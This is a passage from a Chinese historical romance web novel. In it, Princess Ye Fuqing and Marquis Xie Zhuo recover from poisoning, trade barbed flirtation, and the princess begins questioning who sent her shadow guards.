叶拂青点点头,她尝试着舒展一下筋骨,虽然还是使不上多少劲,但比之前要好多了。
“我的手。”叶拂青哑声说。
“对对,李大夫你快让侯爷松开我们家公主的手啊,拽着疼呢。”夕照领会到她的意思,连忙说。
李大夫抚着胡须走过来,“草民方才还怕公主同侯爷不舍得分开,这才没有自作主张,还望公主见谅。”
叶拂青尴尬一怔,随即摇了摇头。
她半眯着眼,看见李大夫取出一只细长的针,小心戳入谢濯虎口,便听谢濯闷哼一声,颤抖着松开了她的手。
她感觉自己这只手已经麻木了,小心翼翼地抽回手来,便听见谢濯梦呓一般低声叫了一声她的名字。
“叶拂青。”
16. 第 16 章
叶拂青和他们面面相觑,也有些反应不过来。
“我就知道这个世界上没有不喜欢我们公主的。”夕照的语气不知道是自豪还是生气,继续说,“说不喜欢我们公主的不过都是嘴硬罢了。”
叶拂青干笑几声,“侯爷应当只是让我救他,还望李大夫莫要多想,赶紧为他医治吧。”
李大夫的表情倒是没变,依旧正经慈祥得很,听见她的话点了点头,有条不紊地给谢濯疗伤。
叶拂青坐在一边,直到缓得差不多了才偏头问夕照,“影卫呢?”
“他们啊。”夕照拍了拍胸脯,有点小骄傲,“我本来带着他们一起出宫来寻您,但是碰见侯府的人也在找侯爷。我估摸着侯爷跟他们应当有自己的联络方式,想来会更方便,就打算跟着他们一起走,但是人多显眼,我只好自己跟来,让他们先在侯府待命。”
“愈发聪慧了。”叶拂青点头赞许道。
夕照有些不好意思地挠了挠头,说,“都是跟我们公主学的。不过你们这次真的吓死我了,怎么会受这么重的伤?”
“说来话长。”叶拂青叹了口气,眼神下意识瞥向谢濯,便见他悠悠转醒,在他睁眼的瞬间两人突兀地对视上。
谢濯往日锐利又充满攻击性的眼神此时还是没怎么变,但又多了几分死里逃生的破碎摇曳之感,但是不显得那么惹人厌了。
叶拂青收回视线,同夕照说,“回宫再同你细说。”
夕照连忙点了点头。
李大夫细致地给二人治疗完,颇为语重心长地说,“我昨日分明说此毒易留祸根,怎的公主和侯爷如此不当回事。不过短短一日,连公主也中毒了。我虽说这毒不危及性命,但对身体那也是慢性毒药,夫妻连心也不能这样胡闹。”
叶拂青被这最后一句话呛住,没再说话。
“公主和侯爷莫要把我的话当作耳旁风不过心,本就中了毒,又强撑着做如此危险之事,无异于在透支自己的生命。这段时间,无论有多重要的事,都必须以身体为先。你们须得好生休息,倘若再受伤再出岔子,那后果真不是开玩笑的。”李大夫说。
叶拂青颇为严肃地点了点头,她也不想再遭一次罪了。
李大夫见二人都应下,便再给二人诊治一番,着重强调了几个调养问题,这才背着小医箱离开了。
叶拂青看着全身上下处处都包扎了的谢濯,又觉得好笑又觉得过意不去,她收起不正经的神色,提起正题,“如今我们已经知晓你我中的毒是一样的,想必这兰棠同刺杀你的黑衣人必定关系匪浅。这神秘组织虽然此时尚未走到人前,但我想,实力应该不容小觑。”
谢濯默然。
“无论是从兰棠还是从谢誉峤身上下手,如今难度都大幅提升。”叶拂青说。
“那公主觉得如何?”谢濯抬眼看来,目光沉沉。
“此时我二人须得养伤,自然是没必要做大动作。”叶拂青笑着说,“只希望侯爷能分派些人,将兰棠和谢誉峤盯好了。”
谢濯冷笑一声,“公主是想坐收渔翁之利?未曾听说过只有一方出力的合作道理。”
“侯爷何必如此斤斤计较。”叶拂青这次没再拿别的话来敷衍他,正色道,“侯爷的人用起来自是比我手下的好用。我尚且还需要从你这里学些训练之法,待有成效那日我自会分派他们来助侯爷一臂之力。”
谢濯思虑了一番,才点头应下。
“我须得再提醒侯爷一件事。”叶拂青嗓音冷了几分,“虽然兰棠说谢誉峤是受她蒙骗,但在真相尚未明了之时,侯爷莫要放松警惕,不要因为一句话断送了这么久的计划。”
“公主对誉峤的偏见颇深呢。”谢濯顿了顿,又说,“为什么要杀你,说的是誉峤么?”
叶拂青猛地回忆起来此前的场景,没想到他是听清了当时却装作没听见。
“侯爷很好奇?”叶拂青站起身来,慢慢朝他走近,指尖落在他的脸颊处,“可我也很好奇,侯爷方才死死抓住我的手,又在梦里叫我的名字究竟是怎么一回事。”
谢濯眉头紧蹙,丝毫不知刚才他做了什么,抬头看她的眼神也满是怀疑。
“侯爷不信?”叶拂青说着便抬起手,露出手腕上那一圈红得发紫的痕迹,“这可都是拜候爷所赐。”
叶拂青看出他此时失力躲不过自己的动作,便更靠近了些,动作也愈发大胆,直接抬起他的下巴,诱惑着说,“莫非侯爷是对我芳心暗许,难以割舍?”
“你觉得可能么?”谢濯偏头躲开她的手,冷冷说。
叶拂青当然知道不可能,谢濯讨厌她还来不及怎么可能喜欢她。但这不妨碍她偏要将白的说成黑的,不然事事都让谢濯问了去,那她怎么扳回这一局。
“怎么不可能?我可是时常听说,有些个儿郎,不好意思对姑娘表明心意,便借冷漠和反话来伪装呢。”叶拂青调笑道。
“公主太看得起自己了。”谢濯说。
叶拂青突然伸出手去,大拇指按在他喉结上的痣上不停地摩挲着,凑到他耳边轻声说,“昨日侯爷教我伪声之时我便想说了,侯爷身上的痣可真多,处处都长在我喜欢之处,不知道别处可还有?不如……”
“公主请自重。”谢濯咬牙切齿地说,额头青筋暴起,费力地将她推开。
“没意思。”叶拂青意兴阑珊地收回手,“既然调不起情,那侯爷一开始也莫要好奇这么多才是。”
谢濯沉默不语,只有一双眼睛狠狠盯着她。
“罢了,我便先回宫了,希望下次再见面是成亲那日,别又生出什么幺蛾子来。”叶拂青叹了口气,由夕照扶着坐起身来,想了想又扬起手来,“侯爷方才拉着我一路,这一圈红得甚是明显,还望侯爷去帮我搜寻些药膏。侯爷也不想让圣上看到我的手这般模样吧?”
她也不等谢濯的回答,和夕照径直走入暗道之中,出了侯府。
门外一片寂静,不见人的踪影,叶拂青冲屋檐之上摆了摆手,声音不大不小,“我已无恙,都回宫去吧
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四周依旧安静,只是枝叶摇晃的声音更加明显了。
叶拂青同夕照坐上回宫的马车,刚坐下夕照便迫不及待地开口问,“公主,您这次怎么会受这么重的伤?旁人不都说侯爷很厉害吗?怎么如此靠不住。”
叶拂青叹了口气,“藏香阁高手云集,是我二人大意了。”说完她又严肃几分,说,“往后在我身边的日子必定不会太平,很有可能像今日一样九死一生,你也很可能等不到我回来。”
“所以我现下想问问你。倘若你想出宫,那我会赠你无数金银财宝让你无后顾之忧;倘若你想留在我身边……”
叶拂青顿了顿,心情愈发沉重,“那从今日起,我们必须得加强训练才行。你武功在我之下,危险来临之时,每一个小缺憾都可能成为致命一击。”
“我要留在您身边。”夕照说着说着涕泗横流,“我从小就跟着您,除了您身边我哪也不去。不管是多苦的训练多危险的事儿,我都要陪在您身边。”
叶拂青怜惜地摸了摸她的头,心中已经有了打算,柔声道,“那便一同走吧。我会护住你的。”她会尽快抓住真凶绳之以法,护住珍爱之人。
叶拂青当日回宫先睡了一觉养好精神,次日一早,便觉得精神充沛了许多,力气也恢复了不少。
她洗漱好后站在院中拍了拍手,召唤众人,“都出来吧。”
影卫闻声而动,站成两排,一共十二人,皆巍然不动、静默无言,等着她的命令。
“你们可有人通晓伪声之法?”叶拂青沉声问。
影卫互相对视一眼,骆饶站出来回道,“宫廷之法我们未曾学过。”
叶拂青皱了皱眉,“我听闻宫中暗卫皆会统一训练,为何你们不会?”
“回公主,宫中其他暗卫是由陛下分派到各贵人宫中,隶属陛下派遣,自然通晓宫中秘术。”其中一人站出来说,“但我们所来之地不同,无法一概而论。”
“你们不是皇叔父派遣的吗?”叶拂青疑惑出声,从她出生起这群暗卫便守在她身边,宫中暗卫皆是受圣上之命,她自然也认为她身边的是由圣上所指。更何况她以前很少需要用到暗卫的地方,连带着对他们也没有多加了解。
“我等由太后娘娘,定王殿下及丞相夫人派遣,护公主安全。自从跟随您之后,便以您为尊,誓死听从您的命令。”一人说完,众人齐刷刷下跪,像是聊表忠心。
叶拂青连忙说,“用不着行此大礼,我并不是审你们。”
她仔细琢磨了一番,太后和她阿爹给她留下暗卫可以理解,那丞相夫人又是为何?叶拂青虽唤她一声姑姑,但二人并不亲近,太后也不喜欢她同对方接触太多。甚至于这么久以来,她对这位姑姑的印象并不深,宴席上也少有碰面,甚至大多数时候是随着众人唤她“丞相夫人”。
难道前世死因出在这里?叶拂青一颗心提到了嗓子眼,但又困惑不已。她一个无实权的公主,身上究竟有什么,能引得诸多势力在她身边安插人?